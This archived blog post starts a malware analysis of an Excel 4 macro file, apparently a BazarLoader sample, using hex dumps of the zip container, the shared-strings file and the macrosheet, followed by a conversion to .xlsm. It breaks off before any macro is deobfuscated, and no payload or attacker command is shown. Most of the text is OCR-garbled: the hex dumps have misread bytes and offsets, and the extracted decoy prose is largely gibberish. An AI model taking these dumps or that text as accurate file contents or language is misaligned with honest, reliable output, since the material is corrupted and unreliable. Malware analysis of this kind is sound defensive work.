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Excel 4 macro code obfuscation

By Posted on

Published: 2021-11-17 - Archived: 2026-04-05 12:41:29 UTC
This sample comes from a Twitter thread located Here by Frost @fr0s7_ and appears to be “BazarLoader”

Since this is a Xlsb file I usually just open it up in my Office 2010 Pro sandbox and then convert to XIsm and

unzip it so I can just view as xml.

The first thing I always do is take a quick look with a hex editor looking for anything of interest.

&) ScdleBb7425fcfdld23acb3056262203b86174d87 d6b8feb 2087790694 eadBbS

Offsec(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF

00000000 50 4B 03 04 14 00 00 00 08 00 00 00 21 00 E3 84 PE....ovvuw.. 1.5,
00000010 1E 2F 95 01 00 00 DS 05 00 00 13 00 1C 00 5B 43 ./«...U0.......[C
00000020 6F 6E 74 65 6E 74 S5F 54 79 70 65 73 5D 2E 78 6D ontent_Types].xm
00000030 6C 55 54 09 00 03 00 A6 CE 12 66 9C 8A 61 75 78 10T....!%1.fmSaux
00000040 OB 00 01 04 ES 03 00 00 04 ES 03 00 00 A5 54 €% ....&....&...¥TE
00000050 6E DB 30 10 BD 07 EE 3F 08 BC 06 22 ED 1E 82 A2 nU0.%.87.4,"i,,¢
00000060 BO 9C 43 16 AD B7 A6 06 SA 22 E7 09 3% B6 B8 50 “eC. 3!.3"¢.99°P
00000070 24 C1 61 12 F9 EF 38 92 oC 2E 81 A3 58 F1 45 0B S$Aa.0i;fee..LXAE,
00000080 F9 16 BE 21 3% 8B F3 B6 71 C5 13 26 B2 C1 57 62 4.%!3<69gh.s*AWb
00000080 2E &7 A2 40 AF 83 B1 7E 53 89 5F B7 D7 E5 17 51 .ge@ F:~5% -=4.Q
000000AD 50 06 6F CO 05 S8F 95 DE 22 89 F3 E5 A7 93 C5 ED P.oh..*@"h485"Al
00000080 36 22 15 CC F6 54 89 3A E7 F8 55 29 D2 35 36 40 6".18Th:cal) 0568
000000CO 32 44 F4 3C B3 OE AS 81 CC BF 69 AS 22 ES 07 D8 2D&<*.@.Izit"e.@
000000D0 AO FA 3C 98 9D 29 1D 7C 46 9F CB DC 69 88 ES E2  fi<».). |FYEUiL-&&
000000ED 12 DT FO EE 72 71 DS F2 FO BO 92 7B EB 45 71 31 .x&8&rghos°’ {&Eql
000000F0 EO 3A AB 43 40 8C CE 6A C8 3C AD 9E BC 91 0D 95 a:«JEEiiEc.2u4 .-
00000100 DE 6A 74 92 6A C4 2C 99 00 63 2B 1B DO 29 5C 79 Bic’'jiA,™.i+.9)\y
00000110 BE 77 C8 10 60 15 BS 57 7F E5 37 AF F4 6D D3 AD ,wE. .pW.&7 &md.
00000120 2F F2 FE JE 46 42 47 EF 2C ES FF DC E5 2E B3 64 [oe~FBEGi,&y0a.°d
00000130 &6 BF Al DA 46 3R 65 CO 1B OE DD CC DB 06 3B DE f.;0F:eh..¥i0.:p
00000140 OF DE AC 64 OD 16 2B 48 F9 06 1A 46 A9 D6 AY E7 .B-d..+Hha..Fedec
00000150 90 1E FA 42 90 EA SF 73 39 Al &2 7F C8 87 19 OC ..GB.& =9;,.E#..
00000160 &S FE E6 OD B6 93 &C 18 DA 93 EE 68 C4 AT DF CO ¥pe.q"1.0"inisei
00000170 OF 27 F9 CB 3E DO E2 DB 2C DF C7 B2 64 BE OFE 38 . '0F>D4G,BC*d%.8
00000180 3C E7 72 7C 77 F7 1C 9F BO S5E 5B 8D 26 E& C7 86 <gr|ws.¥°~[.aaCt
00000180 29 B2 97 3% 1D 3F 05 94 B7 OF 69 4A 8E 81 31 26 )%—8.7.7-.iJ%.1¢
000001A0 59 43 42 F3 33 27 EE 08 D3 94 FF 25 SE 18 98 04 YCBO3'i.07ysi.-.
000001B0 CF 1D FE4 E5 E3 F8 4A ED 84 C6 6A C5 D8 55 OA 91 I.add3eJi.Eiieu.:
000001C0 B8 15 25 9C 6E F2 72 B3 3B 76 19 59 08 53 B6 48 |, .%@ner’;v.Y.S59H
000001D0 07 39 B2 F4 D1 09 Bl 6B 1A 06 CD 1E &F D5 37 E6 .9%&N.2k..1.007=
000001ED ES5 6F 50 4B 03 04 OA 00 00 00 00 00 BD 80 69 53 AcPK........HEiS
000001FD OO0 00 00 00 OO0 00 00 OO0 00 00 00 00 06 00 1C 00 .vevueeneencnnes
00000200 SF 72 65 6C 73 2F 55 54 09 00 03 65 9C 8A 61 65 _rels/UT...ewxSae
00000210 SC BA 61 75 78 OB 00 01 04 ES 03 00 00 04 EE 03 cSaux....&....8.
00000220 00 00 50 48 03 04 14 00 00 00 08 00 00 00 21 00 ..PE..vvveeeaal.
00000230 43 82 E3 ©5 EE 00 00 00 4C 02 00 00 0B 00 1Cc o0 ¢, &R%...L.......
00000240 SF 72 65 6C 73 2F 2E 72 €5 6C 73 55 54 09 00 03 _xrels/.relsUT...

—L0000220 00 28 CE 12 #8 OC 22 &1 73 72 OB 00 01 04 E2 03 . feoaux. . . .0,

As we can see from the first 2 bytes we have a “PK” or zip file format.
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Once we “UnZip” the file and navigate to the x1 folder we can verify this is a binary file and it also contains a

Excel 4 macro folder named “macrosheets”.

Name Date modified Type Size

L _rels 11/9/2021 10:05 AM  File folder

1. drawings 11/9/2021 10:05 AM  File folder

| macrosheets 11/9/2021 10:05 AM  File folder

L. media 11/9/2021 10:05 AM  File folder

1. theme 11/9/2021 10:05 AM  File folder

1. worksheets 11/9/2021 10:05 AM  File folder

IE] sharedStrings.bin 12/31/1979 6:00 PM  BIN File 42 KB
| styles.bin 12/31/1979 6:00 PM  BIN File 1KE
EII workbook.bin 12/31/1979 6:00 PM  BIM File 1 KB
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TR — —-C e S i = =

| 2 Scd1eBb7425fcfd1d23acb3056262203b86174d87 d6b8Feb2087790694adbs | L] sharedStrings.bin |

Offsec(h) 00 01 02 03 04 05 06 07 08 09 0OA OB OC OD OE OF

00000000 SF 01 08 22 00 00 00 22 00 00 00 13 €5 OC 00 20 ¥.."..."....A..

Q0000010 03 00 00 63 00 6F 00 GE 00 &6 Q00 65 00 72 00 65 ...c.o0.n.f.e.r.e
00000020 00 &E 00 63 00 &5 00 73 00 20 00 77 00 &5 00 72 .n.c.e.3. .W.E.Tr
Q0000030 00 65 00 20 00 73 00 6F 00 75 00 67 00 68 00 74 .,e, .sm.0.u.g.h.T
Q0000040 00 20 00 61 00 73 00 20 00 &D 00 75 00 63 00 68 . .a.s. .m.u.c.h
00000050 00 20 00 &6 00 &F OO0 72 00 20 00 &8 00 69 00 72 . .f.o.r. .h.i.s
00000060 00 20 00 70 00 &C 00 &5 00 61 00 73 Q0 75 00 72 . .p.l.e.a.=.u.r
00000070 00 &5 00 20 00 &1 OO0 73 00 20 00 &6 00 &F 00 72 .e. .a.s. .f.o.r
00000080 00 20 00 6D 00 7% 00 20 00 &2 00 65 00 6E 00 65 . .m.y. .b.e.,n.e
Q0000090 00 66 00 69 00 74 00 2E 00 49 00 2C 00 20 00 6% .f.i.t...Il.,. .1
000000RA0 00 &E 00 64 00 &5 00 &5 00 64 00 2C 00 20 00 74 .n.d.e.e.d.,. .t
000000B0 00 &1 00 &C 00 6B 00 65 00 &4 00 20 00 63 00 6F .a.l.k.e.d. .cC.0O
000000C0O 00 &D 00 70 OO0 &1 00 72 00 &1 00 74 00 6% 00 76 .m.p.a.r.a.t.i.v
000000D0 00 65 00 6C 00 7% 00 20 00 &C 00 69 00 74 00 74 .e.,l.y. .l.i.t.t
QO00000ED 00 &C 00 65 00 2C 00 20 00 &2 00 75 00 74 00 20 .l.e.,. .b.u.t.

000000F0 00 45 00 20 0D &8 00 &5 00 €1 00 72 00 64 00 20 .I. .h.e.a.r.d.

Q0000100 00 68 00 &9 00 6D 00 20 00 74 Q00 &1 00 &C 00 6B .h.i.m. .Tt.a.l.k
00000110 00 20 00 77 00 &9 00 74 00 &8 00 72 00 65 00 6C . .w.i.t.h.r.e.l
00000120 00 &9 00 73 00 68 00 2E 00 20 00 49 00 74 00 20 .i.s.h... .I.t.

Q0000130 00 77 00 61 00 73 00 20 00 &8 00 €9 00 73 00 20 .w.a.s. .h.i.s.

00000140 00 &E 00 61 00 74 00 75 00 72 00 &5 00 20 00 74 .m.a.t.u.r.e. .t
00000150 00 &F 00 20 00 &2 00 &5 00 20 00 &3 00 &F 00 6D .o. .b.e, .c.o0.m
00000160 00 &D 00 75 00 &E 00 &9 00 63 00 61 00 74 00 68 .m.u.n.i.c.a.t.i
00000170 00 76 00 65 00 3B 00 20 00 68 00 65 00 20 00 6C .v.e.;. .h.e. .1
00000180 00 69 00 6B 00 65 00 64 00 20 00 74 00 6F 00 20 .i.k.e.d. .T.0O.

00000190 00 &F 00 70 00 &5 00 &E 00 20 00 74 00 &F 00 20 .o.p.2.n. .t.o.

000001A0 00 61 00 6D 00 69 00 EE 00 64 00 20 00 75 00 6E .a.m.i.n.d. .u.n
000001B0 00 &1 00 63 00 71 00 75 00 61 00 €9 00 6E 00 74 .a.c.g.u.a.i.n.t
000001CO 00 &5 00 64 00 20 00 77 00 &% 00 74 00 68 00 20 .e.d. .w.i.t.h.

000001D0 00 74 00 €8 00 65 00 20 00 77 0O 6F 00 72 00 6C .t.h.e. .w.0.r.l
000001E0 00 &4 00 20 00 &7 00 &C 00 &9 00 &D 00 70 00 72 .d. .g.l.i.m.p.=s
000001F0 00 &5 00 73 00 20 00 &F 00 &6 00 20 00 69 00 74 .e.s. .o.f. .i.T
00000200 00 73 00 20 00 732 00 &3 00 65 00 €6E 00 65 00 73 .s. .s.C.2.Nn.8.5
00000210 00 20 00 61 00 &E 00 &4 00 20 00 77 00 61 00 79 . .a.n.d. .w.a.y
00000220 00 73 00 20 00 28 00 49 00 20 00 €4 00 6F 00 6E .s. .(.I. .d.o.n
00000230 00 &F 00 74 00 20 00 &D 00 &5 00 €1 00 6E 00 20 .o.t. .m.e.a.n.

00000240 00 &9 00 74 00 73 00 20 00 63 00 &F 00 72 00 72 .i.t.S8. .C.0.r.r
00000250 00 75 00 70 OO0 74 00 20 00 73 00 63 00 65 00 6E .u.p.t. .s.c.e.n
00000260 00 &5 00 73 00 20 00 €1 00 €E 00 64 00 20 00 77 .e.s. .a.n.d. .w
00000270 00 69 00 €3 00 6B 00 &5 00 &4 00 20 00 77 00 61 .i.c.k.e.d. .w.a
00000280 00 75 00 73 00 2C 00 20 00 62 00 75 00 74 00 20 .y.s8.,. .b.u.t.

00000290 00 73 00 75 00 63 00 &8 00 20 00 61 00 73 00 20 .s.u.c.h. .a.s.

000002A0 00 64 00 65 00 72 00 €9 00 76 00 &5 00 64 00 20 .d.e.r.i.v.e.d.

000002B0 00 74 00 68 00 &5 00 €9 00 72 00 6% 00 6E 00 74 .t.h.e.i.r.i.n.t
000002C0 00 65 00 72 00 65 00 73 00 74 00 20 00 66 00 72 .e.r.e.s.tv. .I.r
Q0Q0002D0 00 &F 00 6D 00 20 00 74 00 &8 00 &5 00 20 00 67 .o.m. .t.h.2. .g
QooogerEqg 04d g2 00 85 00 §1 00 74 a0 20 040 T3 00 3 00 81 Lol Bl -

If we look at the SharedStrings.bin file we can see that strings are in a Unicode format and not that easy to see

where they split up at.
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i — - - = =] (=11 [N

&) Scdl cBbT425fcfd1d23ach3056262203586174087d6b8feb2087790604€a48b5 | &) sheredStringsibin | £ sheetl.bin |

CQffzet(h) 00 01 02 O3 04 05 06 OT7 0S8 0% QA OB OC Q0D QE OF

00000000 B1 01 00 93 01 17 C9 04 02 00 40 00 00 00 00 00 ...™..E...B.....
00000010 00 FF FF FF FF FF EF FF EF 00 00 00 00 94 01 10 .44iiiyyy....~..
00000020 00 00 00 00 16 00 00 00 00 00 00 00 07 00 00 00 .eeeeeweeencnnns
00000030 B85 01 00 25 06 01 00 02 10 00 80 80 18 10 00 00 .o.%u..... ee. ...
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 00 weeeveesaccses 5.
00000050 B9 01 1E SE 03 00 00 00 00 17 00 00 00 00 00 00 %eo®eeeeeeeeen..
00000060 00 40 00 00 00 64 00 00 00 OO0 00 00 00 00 00 00 .B...du.cecee...
00000070 00 98 01 24 03 00 00 00 3A 00 00 00 02 00 00 00 .".§....feeeeu--
00000080 00 00 00 00 Ol 00 00 00 3A 00 00 00 3A 00 00 00 .eeveevefaseions
00000080 02 00 00 00 02 00 00 00 8A O1 00 26 01 00 E5 03 ........5..t..4.
000000AO0 OC FF FF FF FF 02 00 2C 01 00 00 00 00 86 03 00 .¥¥¥¥..,.....t..
000000BO 3C 12 03 00 00 00 03 00 00 00 BE 02 00 00 00 00 €eveevvow-Toun..

Q00Q000C0 00 00 02 00 3C 12 04 00 00 OO0 04 00 00 00 00 QR .sese€esossassans
0oQ000D0O OO0 00 OO0 OO0 OO0 00 02 00 3C 12 OS5 00 00 00 OS5 00 .....cn. [P
OO0OOOEC OO0 00 DB OR OO0 O0 00 00 OO0 00 02 00 3C 12 07 00 ..0.....a... Lana
0Q0OQO00OFD OO0 OO O7 OO0 OO0 0O B6 0% Q00 OO OO OO OO OO0 02 00 ..u... kP
000QO0100 &7 02 00 91 01 00 00 1% 00 OO0 OO0 Q0 0D 00 00 00 #Fuu ssssnsssssas

00000110 2C 01 00 10 OO0 01 OO0 OO0 OO0 OO OO0 OO0 00 07 00 00 L eeesssensmasaas
00000120 OO0 O7 OC OO OO0 Q0 OO OO0 OO OO OO OO OO0 00 00 00 .eeeessemsmaasaas
00000130 15 01 QO OO OO0 QO OO OO0 OO0 2C 01 OO0 10 00 01 00 .eeeussen pesaaaa
00000140 OO0 OO Q0 QOO QO QO Q7 00 QOO OO O7 OC 00 00 00 00 .ewsswsssmmmsmmus
00000150 OO OO OO OO O1 QO OO OO0 OO0 19 02 00 00 00 00 00 .eeeessemmmanans
Q0000160 OO OO 2C 01 OO0 10 OO0 O1 OO0 OO QO OO OO0 00 00 07 sepessssmemannns
Q0000170 0O QOO0 Q0 07 OC Q0 OO0 OO0 OO0 OO0 OO0 OO0 00 02 00 00 .eeeecvommnsanns
Q0000180 ©O0 QO 1% OF 00 00 OO0 OO0 OO0 Q0 Q0 2C 01 00 10 00 .uevessnmns T TIL
Q0000190 ©1 OO0 OO0 OO0 OO0 QO OO OO0 OF OO0 Q0 OO0 OF OC 00 00 .eveenvennnsanns
QO00001A0 OO OO QO OO0 OO0 Q0 O3 00 00 OO0 Q0 19 04 00 00 00 .seveenvenansanns
Q0000150 OO0 00 00 OO0 2C 01 00 10 00 01 OO0 OO0 00 00 00 00 .evepucensssanns
QOOO01CO 00 OF7 Q0 OO0 OO0 07 OC OO0 00 00 Q0 OO0 00 00 00 04 .ovecsssssssanss
Qo0001D0 OO0 OO0 00 O7 OC 01 OO0 OO0 OO0 OO0 00 00 00 05 00 00 ..vecvccnsssanns
QO00D1EC OO0 OO0 19 OS5 00 00 OO0 OO0 00 00 00 2C 01 00 10 00 .cevvcvssass puraas
QO0001FO ©O1 OO0 Q0 OO0 OO0 00 OO0 00 O7 00 Q0 00 OF OC 00 00 .evicsssssssssns
QoO00200 00 Q0 Q0 O0 OO0 00 06 00 00 00 QA 91 07 05 00 00 .ovscssssss "ssss
Qo0000210 OO0 OO0 OO0 OO0 OO0 01 OO0 OO0 7E 03 00 00 1E 53 00 41 ...vcvee™assa5.A
00000220 &F 00 44 OA 00 00 OO0 04 CO 1E OC 00 1E 01 00 41 o.D.....H......R
00000230 1F 00 08 44 OR OO0 OO0 00 04 CO 1E O3 00 1E 01 00 ...D.....B......
00000240 41 LF 00 08 44 0A 00 00 00 04 CO 1E 04 00 1E 01 A...D.....A.....

00000250 00 41 1F OO0 02 44 OA OO0 00 OO0 04 CO 1E 04 00 1E .A...D..... - .
00000260 ©1 00 41 1F 00 08 1E 33 00 41 6F 00 08 1E 32 00 ..A....3.RA0...2.
00000270 41 6F 00 OB 1E 53 00 41 &F 00 44 OD 00 00 00 01 AO...S5.R0.D.....

00000280 ©O 1E 4C 00 1E 01 00 41 1F 00 OB 44 0D 00 00 00 A.L....A...D....
00000290 01 CO 1E 23 00 1E 01 00 41 1F 00 OB 44 oD 00 00 .A.$....A...D...
O00002A0 OO0 01 CO 1E 0% 00 1E 01 00 41 1F OO0 OB 44 0D 00 ..A...... A...D..
OOO002B0 00 OO0 01 CO 1E 0% 00 1E O1 00 41 1F 00 OB 1E 45 ...A...... A.ua.E
000002C0 00 41 &6F OO0 OB 1E 78 00 41 &6F 00 OB 44 0D 00 00 .RAo...%x.Ro..D...
00000200 OO0 01 CO 1E 23 00 1E 01 OO0 41 1F OO OB 44 OD 00 ..A.%....A...D..
0OO0O02E0 OO0 OO0 01 CO 1E 4E 00 1E 01 00 41 1F 00 O 44 OD ...A.N....A...D.
OO0002ZF0 00 00 00 01 CO 1E 2B 00 1E 01 00 41 1F 00 08 44 ....A.+....A...D
Q0000200 OD OO 0O QO 01 CO 1E 2E 00 1E 01 00 41 1F 00 Q0B ..... A...... A...
00000310 44 OD 00 OO0 00 01 CO 1E 23 00 1E O1 00 41 1F 00 D..... Ag....a..
00000320 OB 44 0D OO0 00 00 O1 CO 1E SF 00 1E 01 00 41 1F .D..... h._....h.
Q0000330 00 0B 1E 4A 00 41 6F 00 1E 4A 00 41 6F 00 0B 1E ...J.A0..J.A0...
00000340 43 00 41 6F 00 08 1E 43 00 41 €F 00 08 1E 43 00 C.hAo...C.Ao...C.
00000350 41 eF 00 OB 1E 43 00 41 &F 00 OB 1E 4A 00 41 &F Ao...C.Ao...J.Ao

Looking at sheet1.bin in the macrosheets folder we can see it is not human readable.

This is the point where I usually convert the file.
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] File_Xlsmxlsm

Qffaet(n) 00 01 02 03 04 05 06 O7 OB Q05 QA OB 0OC OQOD QE OF

00000000 bD 48 03 04 14 00 06 00 08 OO0 00 00 21 00 A5 22 BH........c.. .¥"
00000010 9C 41 99 01 00 00 8B 05 00 00 13 00 0B 02 5B 43 @A™, ..fcuusiss [c
00000020 6F 6E 74 65 6E 74 S5F 54 79 70 65 73 SD 2E 78 6D ontent Types].xm
00000030 6C 20 A2 04 02 28 A0 00 02 00 OO0 00 00 OO0 00 00 1 €uuf cuuasrons
00000040 00 Q0 00 00 QOO0 Q0 00 Q0 QOO0 OO0 OO0 Q0 00 00 00 Q0 . isccssssnsnssns
00000050 OO0 00 OO0 0D OO0 OO0 OO0 00 OO0 00 OO0 OO0 00 00 00 00 ..ueevecnnanrons
00000060 OO0 00 OO0 0D 00 OO0 00 00 OO0 00 OO0 00 00 00 00 00 ..ueeveennanrans
00000070 00 Q0 00 00 OO0 Q0 00 Q0 OO0 00 00 Q0 00 00 00 Q0 . ssscssssnsnssns
Q0000080 OO0 OO0 00 0D OO0 0D OO0 00 Q0 OO0 OO0 00 00 00 00 00 ..uvevicnnonrons
00000080 OO0 00 OO0 OD 00 OO0 00 00 OO0 00 OO0 00 00 00 00 00 ..ueeveenmanrans
000000A0 00 QO 00 00 Q0 OO0 OO0 OO0 OO0 00 OO0 OO0 Q00 00 00 00 . sssssssamsnssns
00000080 00 OO0 00 00 OO0 00D OO0 00 Q0 00 OO0 00 00 00 00 00 ..ovvvicancnronn
000000CO OO0 00 OO0 OD 00 OO0 00 00 OO0 OO0 OO0 00 00 00 00 00 ..ueeveennmanrans
000000D0 OO0 OO0 00 00 00 0D 00 00 OO0 00 OO0 00 00 00 00 00 ..ueecsonnanrans
00O000ED OO0 OO0 OO0 OO0 OO0 OO0 OO0 Q0 OO0 OO0 OO0 OO0 00 00 00 00 ...ccoceacenssns
000000F0 OO0 00 00 OO0 00 OO0 00 00 Q0 00 OO0 00 00 00 00 00 .vueeveennanrons
00000100 OO0 00 OO0 0D 00 OD 00 00 OO0 00 OO0 00 00 00 00 00 ..ueecsomnmanrans
00000110 00 00 00 00 OO0 OO0 OO0 QOO0 OO0 OO0 OO0 OO0 00 00 00 00 ...ccoceacsnssns
00000120 OO0 00 00 00 00 OO0 00 00 Q0 00 OO0 00 00 00 00 00 ..ueevecnnonrons
00000130 OO0 00 00 0D 00 OD OO0 OO0 QOO0 OO0 OO0 00 00 00 00 00 ..eeeveemmansans
00000149 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 00 00 00 00 ...-cceccacssnssns
00000150 00 00 00 00 00 OO0 00 00 Q0 00 OO0 00 00 00 00 00 ..uvvvecancnrons
00000160 OO0 OO0 OO0 OD OO0 OO0 OO0 00 QOO0 OO0 OO0 OO0 00 00 00 00 ..eeeveommansons
00ooo01To OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 00 00 00 ....ccciacencans
00000180 00 00 Q0 00 00 OO0 00 00 Q0 00 OO0 00 00 00 00 00 ..ovvvecansnrcnn
00000190 OO0 00 00 00 00 OO0 QOO0 00 Q0 00 OO0 00 00 00 00 00 ..ueeveommansnns
OO000LA0 OO0 00 OO0 OO0 OO0 OD 00 00 OO0 00 OO0 00 00 00 00 00 ..cvevrennanrans
00O0O0LED 00 Q0 00 Q0 OO0 Q0 00 Q0 Q0 00 OO0 Q0 00 00 00 00 ...cceceacsnssns
Q00001CO OO0 00 00 00 00 OO0 00 00 Q0 00 OO0 00 00 00 00 00 ..oeevecmmensnns
00000100 OO0 00 OO0 0D 00 0D 00 00 OO0 00 OO0 00 00 00 00 00 ..cveveennanrans
0QO0O0LED OO0 Q00 00 00 OO0 00 00 OO0 OO0 00 OO0 OO0 00 00 00 00 ..occeccacsnssns
Q0O00LED 00 00 00 00 00 OO0 00 00 Q0 00 OO0 00 00 00 00 00 ..ueevecamensnns
00000200 OO0 OO0 OO0 OD OO0 OD 00 00 OO0 00 OO0 00 00 00 00 00 ..ueeveennanrans
00000210 00 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 00 OO0 OO0 00 00 00 00 ...-cceccacsnsans
00000220 00 00 Q0 00 00 OO0 OO0 00 Q0 00 OO0 00 00 00 00 00 ..cevvecnnssssns
00000230 OO0 OO0 OO0 OD 00 OD 00 00 00 AC 54 4B 4F 1B 31 10 ..uveven. -TED.1.
00000240 BE 57 E2 3F AC 7C 45 BB OF 1C AA AR CR 86 43 4B HWA?=|Ew..*"EtCHE
00000250 BF 25 52 E9 OF 18 EC 49 D€ BA S5F F2 18 48 FE 7D .iRé,,lIﬁé_ﬁ.Hh}
00000260 C7 4E 48 21 4A B3 8D EO B2 EB D7 F7 98 Bl 67 A6 CNH!J? AFExz"ig!
00000270 37 6B 67 8B 27 4C 64 82 EF ©5 55 37 11 0D TA 15 Tkg:'Ld,ifU7T..=z.
00000280 B4 F1 CB S5E FC BE FF D1 7E 11 0D €5 FO 1A 6C Fo -aAf~uxyf~..e8.158
0O000290 DS BB OD 92 B8 99 SD 7C 9A DE &F 22 52 C3 68 4F @«.' ™) |3Ba"RAnD
000002A0 BD 18 72 8E 5F RS 24 35 A0 03 ER 42 44 CF 3B 8B %.rZ_¥$5 .&BDI:.
00000280 90 AC 64 9E A6 AS 8C AO 56 BO 44 72 3D 99 TC 26 ,.dE!¥E VeDy="|-
0O0002C0 2A FS BC 3E B7 B9 70 B8 D9 F4 3B 2E EO D1 E6 E6 *oE>-p-U4:.aflze
00000200 76 CD CB 5B 27 73 BF 14 CD BT ED B8 22 D5 0B E3 viE['s;.f-i:"6.&
0O0002ZED OA 3E F2 BA 3C BA 48 68 E% 00 02 31 5A A3 20 73 .»8%<EHhé..12¢ =
D0000ZF0 6C F2 C9 EB 03 SF ED CE 53 C7 CE 7A 86 06 13 E9 18Es. ifscEar..é
00000300 92 BD FF 43 Al EC BC FS F4 SA 60 7 BB E3 64 26 ' .§C;1%3062" $»ids
00000310 A3 Bl 99 43 CA 3F C1 Bl 73 BS BE F2 3% A4 D5 43 crmcErissrqaomdc
00000320 08 AB EE 34 49 71 ES AS C5 BS 42 DB D1 80 98 3B .«i4Iqé-Apsifhe-:
00000330 07 2A 85 SB OF OF 16 79 OF 8C 7F 71 78 42 A% 22 .*..[...¥.E.qxB8"
00000340 49 DE DF DS T7F 48 BE BD BO 36 2C 16 46 Al OF ER IOad.HMs®6, .F;.é

Here we can see we still have a “PK” file but you can clearly see the data is presented a little differently.
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Mame Date medified Type Size

Ji _rels 11/10/2021 5:25 PM  File folder
Ay drawings 11/10/2021 5:25 PM  File folder
. macrosheets 11/10/2021 5:25PM  File folder
. media 11/10/2021 5:25PM  File folder
Ju theme 11/10/2021 5:25PM  File folder
. worksheets 11/10/2021 5:25PM  File folder
) sharedStrings.xml XML Document 22KB
A stylesxmil XML Document 2KE
|| workbook.xml XML Document 1KB

Once we unzip and navigate to the xl folder here it now looks a little different.

T CTEml vaTaione-1.0- SRccdinge-UTE-B- SCALOALohas—yas=1% F
2 dmet Emins="hiip:/fechemas . cpsnenifornats , cogfepresdsbes inl S F00 nain® cownt= 3% wniqeedount=* 1S ripl it rooalerencss vers scught as much for his plessurs ss for wy benslit.1,
i, Tl o rativaly JiCtbe, Bet T heard his bk withrebish, D0 was his netere o Db oessisative] b biked Do spes Do smisd seeopesinted with the world gl lepees of its
soareas and ways ([ donot mssn ibs corrupt sceras and wicked ways, but wuoh as darived theirintarsst from the grest scals on whick they wars scted, the strangemcvelty by which thay
ware charsolarissd) ;| sl 1 had & bean dadigh!l knrewivisg i6e sow Lisss b sffersl; in Inagining Lhe sew plolures Beposiraysd, el Miv-lr- Bim bn Uheughl Lhrough 5e new reglons
i w0l ownd, maver startled or troubled by cohe roEicus sllosios. fhe sses of his maner fresd s from paisfel 1 thafriendly £ as coFreat as cordial, with wiich bes
Ermarbexd ma, L e Mo rking on BL11 e pessantsd dineer bows, which was rob dong inooming, be went cwi of the barm with Fiodor and fsil into telk withhin, stopping besids &
Sast yalleu shacl of rye 18id b Chetkmeshing F1oor Por ses.rieder sans fres & villegs st soss distasos From G s e whiohievie kel eeos 815otusl Dasd D6 KIS Ge-oparstive
amscoistion. Wow ithsd bssm let to the innksspar.lavis tallbsd to Ficdor sbowt thism Land and asksd whethar Flaton, swall-to-do pessant of good charsctar bslonglng to the manms
wiblage weabd ol Lake Ve Jamd Fef Uhe oomieg yaad. < 10008kt 00N Uiet saswsring bis words, Tarla beal svas his, sl wlih sdebighted ssibs goied Lo his Faom, Bis apes weis
claar, setfevarish: but thair sEpresslon was stern. Pk o004l L shs sald. S¥calirs st In paintSEA livtls hars, S Be pointsd to his Brsast. 0Thas lat me chings your bandeges.Sin
slience. siiffening his brosd jews, he loched sl bar while shebasdsged him wp. When she bad finished he sald-50%n not deliricus. Pissss mansge that thers may be so I.rl:ll of mybaving
shat mysail on panposs. BT REFCRLICE AR Rad B Beaning Ln (TS wendering: Chis guwe hin an oid lock, suches I Siwar Tenesbared (o have e, For & hasdsoms and Bl
arvanmlshls-1ocking mas, he repslisd ms szcssdingly: thers wes nopowar in that ssocth-skinesd face of & full ovel shaps: so flrmesss inthat squilles noss and small un:q- mouth:
Ihafe was pe Chimeghl o thaliw, sven Pofelbesd] f oedwusid o thal Bland, Jfswm aye . As § sal Le sy wswal ssl, amd Léinked 2t his with the Jlght aftha -
baaming full over him- for hecocupied an arm-chalr drews closs te the fire and kept shrisking stillsssrer, as if ba wers cold- | compared him with Mr. Roobsster. 1 lh.'llkhﬂ.l.uh
duference be L spolenl the contrest oould nod b mech grsaterd/trd/miFdeirdigave Lt with har beart on har lips. Turisg ihs nesil FLPtess misutesshe icoked more like & ross than
wvar, fof aweryosms svalled thes-sslves of thair privileps to the fullest astest, froes 7. Lasfendeto old Eesneh, wio, sdofmed wWith o hesdiress fearfully aml womnder-fully mede,
Ill:l wpon bar in the hall. oryisg with & scb and schuckls, Shless you. dsary, & bundred times?! The caks aindt burta mits, ard sverything locks lovely. SEverybody olsarsd wp after
o il malil seetkieg EiLElant, oF Lelel Lo, whioh dbd just s webl, fer lesghles L Feedy sleshasrls afs 1LghL, Thass wes e dlepbay of gifUs, Bor Uy seiec/ U008 ronlrons
.l.-u.d.al the great tear that dropped off the smd of har noss, andimy rever minded the rompling of har curls as she kid ber faos on bar motherSs shouldsr snd sobbed cukt, 58 am &
sablieh ghrd! Swl TS1E Lewdy iy o be detiar, so ba naniSl be dissggelinted bn e by -and by e all wili, % orbed bsg 55 think Yoo msoh of my locks andhals Lo work, bwl wendi amy
more, LE 3 can Relp St RR1611 try aed be what e Joves to oall me, ‘s little womsnband ot b reogh aed wild, but do sy duty hers Lhatesd of weAtlegto be somewtere ebes, S asid Jdo,
thinking that kesping bar tempar</trd/pidinirdtrproject of marrying for intersst and cormacticne. It surprissd ms whesl firet dlsosversd that such wes his intestics: 1 hed thought
i aman wnbiRaby Lo e NIl by BRI a0 Dpeeengdacs La isokaios 0 & WLDS; DeT The JeRger T oo iiemed U Positien, eResaties, U, . of Uss parties, the bess § Geit
justifisd im jodging smd bleningsither hin or Kiss ingram for sotisg im conformity to Sdess andprinciplss instillsd ints them, doubtless, from their obdbdbood. Alltheir olass hald
Lhasa prisolphesi § swgpeossd, Ghes, Shey hadreasoss [er m:l-ulu U et w5 § Stmid el Ballion. N sl U6 miihak, Sere T & genblesss Dide him, § swabd Labw 1o my bosm sniy
elesefairealin vuas bapianlng with flashing yss, baslasm, just a8 pasple Catol Fewmleg.BEt At That SOREAt & TiGg wWas heard. 1apor departed, aed uul.l.
wanlaft aloss. He hed saten scarcely anybhing ai dlnmer, u-u rafussdtes and sepper ab SvilashsipSs, but ke wes inospsble of thinkisg clsspper. Bs hed mob slspt ihe previcss night,
But was lecapabie ofthinkimey of sbesp elther. Bie fes wes oold, [t e wes ogpiessed Dylest. He djamed Ioth e srvalles poses 1o s wimbes sl sal dowvwen e Calle iggealle Che
opan panas. eer the saow-coversd rocfscculd be ssen & decoratsd orces, with chaine, and above it thed/tsd/sisiaisdorfhe bresd bummed black, for the salsd dressing s> sgaraveted
